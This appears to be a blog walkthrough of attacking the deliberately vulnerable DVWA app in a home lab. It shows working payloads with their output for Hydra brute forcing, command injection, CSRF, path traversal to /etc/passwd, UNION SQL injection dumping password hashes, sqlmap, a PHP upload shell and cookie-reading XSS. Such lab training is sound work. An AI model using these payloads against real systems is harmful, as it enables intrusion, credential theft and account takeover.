It’s time for some web hacking in my pentest lab, so in this post I will go over attacking DVWA.

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

Since it’s already installed on Metasploitable, I didn’t have to install it. The default credentials for logging in are admin: password.

For this lab I will use the low and medium levels of security and PHPIDS disabled. The high security setting represents the secure implementation that aims to eliminate the vulnerabilities.

Brute Force

Overview

A brute force attack can manifest itself in many different ways, but primarily consists in an attacker configuring predetermined values, making requests to a server using those values, and then analyzing the response. For the sake of efficiency, an attacker may use a dictionary attack (with or without mutations) or a traditional brute-force attack (with given classes of characters e.g.: alphanumerical, special, case (in)sensitive). Considering a given method, number of tries, efficiency of the system which conducts the attack, and estimated efficiency of the system which is attacked the attacker is able to calculate approximately how long it will take to submit all chosen predetermined values.

In the first challenge we have to brute force a login form.

As always, first I used some dummy values to see how is the data transmitted, and it’s visible in the URL:

1

http://metasploitable/dvwa/vulnerabilities/brute/?username=test&password=test&Login=Login#

I will use Hydra to brute force the form. I created some files with usernames and passwords:

1
2
3
4
5
6
7
8
9
10
11
12

cat users.txt
admin
test
administrator

cat pass.txt
admin
1234
password
letmein
test
password1234

I ran Hydra like this:

1
2
3
4
5
6
7
8
9
10

hydra 192.168.127.128 -L ~/Desktop/users.txt -P ~/Desktop/pass.txt http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=798cbe3ff31159e5a08aae5a407f81cf"

Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2014-08-09 13:05:32
[DATA] 16 tasks, 1 server, 18 login tries (l:3/p:6), ~1 try per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 192.168.127.128   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-08-09 13:05:33

And we have cracked it!

Command Execution

Overview

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

On this page we can ping an arbitrary IP address. We can run arbitrary code by typing ;whoami, which will tell us the server is running as the www-data user. The semicolon is a way to stack commands in Linux, so here we use it to end the previous command (which was the ping functionality), and we insert a new command of our choosing to be run by the vulnerable server.

On medium, the same results can be achieved by entering ||whoami instead.

The difference between the operators is that ; runs both commands irrespective of the first command’s status, whereas || executes the second command only if the previous one failed.

CSRF

Overview

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

We see here that we can change the admin password. When we submit the new password, we see the request looks like this:

1

http://metasploitable/dvwa/vulnerabilities/csrf/?password_new=newpass&password_conf=newpass&Change=Change#

We can exploit this behavior to change anyone’s password as long as they are logged in to the application, by tricking the user to perform the request. The exact method may differ, but an example would be to use the image tag to make the request behind the scenes. Of course, this could be achieved by manipulating HTML in other ways too, with a link, iframe, script, etc.

1

<img src="http://metasploitable/dvwa/vulnerabilities/csrf/?password_new=newpass&password_conf=newpass&Change=Change#">

File Inclusion

Overview

The application loads data from an attacker-controlled resource at runtime, enabling a variety of malicious activities. Either the source address or the resource itself (or both) may be under the attacker’s control.

The file inclusion is pretty straightforward:

1

http://192.168.127.128/dvwa/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd

SQL Injection

Overview

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

The vulnerability is straightforward. On low security, injecting ‘or 1=1— returns all records:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

ID: 'or 1=1-- 
First name: admin
Surname: admin

ID: 'or 1=1-- 
First name: Gordon
Surname: Brown

ID: 'or 1=1-- 
First name: Hack
Surname: Me

ID: 'or 1=1-- 
First name: Pablo
Surname: Picasso

ID: 'or 1=1-- 
First name: Bob
Surname: Smith

The id parameter is vulnerable, as expected. From here we can proceed in different ways, fingerprinting the host, retrieving more information, etc. I will settle for getting the password hashes for the users we have discovered.

Discover the number of colums

‘union select 1,2—

1
2
3

ID: 'union select 1,2-- 
First name: 1
Surname: 2

Get database name

‘union select database(),2—

1
2
3

ID: 'union select database(),2-- 
First name: dvwa
Surname: 2

Get table names for the current database

‘union select table_name,2 from information_schema.tables where table_schema=database()—

1
2
3
4
5
6
7

ID: 'union select table_name,2 from information_schema.tables where table_schema=database()-- 
First name: guestbook
Surname: 2

ID: 'union select table_name,2 from information_schema.tables where table_schema=database()-- 
First name: users
Surname: 2

Get column names for the users table

‘union select column_name, 2 from information_schema.columns where table_name='users’—

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

ID: 'union select column_name, 2 from information_schema.columns where table_name='users'--  
First name: user_id
Surname: 2

ID: 'union select column_name, 2 from information_schema.columns where table_name='users'--  
First name: first_name
Surname: 2

ID: 'union select column_name, 2 from information_schema.columns where table_name='users'--  
First name: last_name
Surname: 2

ID: 'union select column_name, 2 from information_schema.columns where table_name='users'--  
First name: user
Surname: 2

ID: 'union select column_name, 2 from information_schema.columns where table_name='users'--  
First name: password
Surname: 2

ID: 'union select column_name, 2 from information_schema.columns where table_name='users'--  
First name: avatar
Surname: 2

Get password hashes

‘union select user, password from users—

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

ID: ' union select user, password from users-- 
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' union select user, password from users-- 
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' union select user, password from users-- 
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' union select user, password from users-- 
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' union select user, password from users-- 
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

On medium security, the injection query only differs in using an integer instead of a quote: 99 or 1=1— .

SQL Injection (Blind)

Overview

Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query’s syntax is incorrect. Blind SQL injection is nearly identical to normal SQL Injection, the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible.

Since this is more or less identical to the previous SQL injection, I will instead use sqlmap against it, so I don’t have to repeat the same queries:

1

sqlmap -u "http://192.168.127.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=cd855d2bfb73dfe22ef2f11a475fa9e6" --dbms=MySQL --dump

Upload

Overview

Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.

The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement. It depends on what the application does with the uploaded file and especially where it is stored.

I am going to upload a PHP file that runs the command uname -a:

1
2
3
4
5
6

<?php

$cmd = system('uname -a');
echo $cmd;

?>

After uploading the file, the path where we can find it is conveniently provided:

../../hackable/uploads/upload.php succesfully uploaded!

Navigate to the file to see the command output:

1

192.168.127.128/dvwa/vulnerabilities/upload/../../hackable/uploads/upload.php

On medium security, the code checks if the file is a jpeg image and under a certain size:

1

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000))

However, this can be easily bypassed by intercepting the request and modifying the filename. Here is what I had in Live HTTP Headers:

Content-Disposition: form-data; name=“uploaded”; filename=“upload.php%00.jpg”

And I modified it to:

Content-Disposition: form-data; name=“uploaded”; filename=“upload.php”\r\n

XSS reflected

Overview

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a “trusted” server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

Low security:

1

<script>alert(document.cookie)</script>

Medium security:

1

<SCRIPT>alert(document.cookie)</SCRIPT>

XSS stored

Overview

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

The vulnerable field is the name box. The XSS strings that I used on the reflected XSS page work for this one as well, the only difference is that I had to use Firebug to modify the maximum length from 10 to an arbitrary higher value.

As you can see, DVWA was..damn vulnerable!

Cheer Up! Things are getting worse at a slower rate.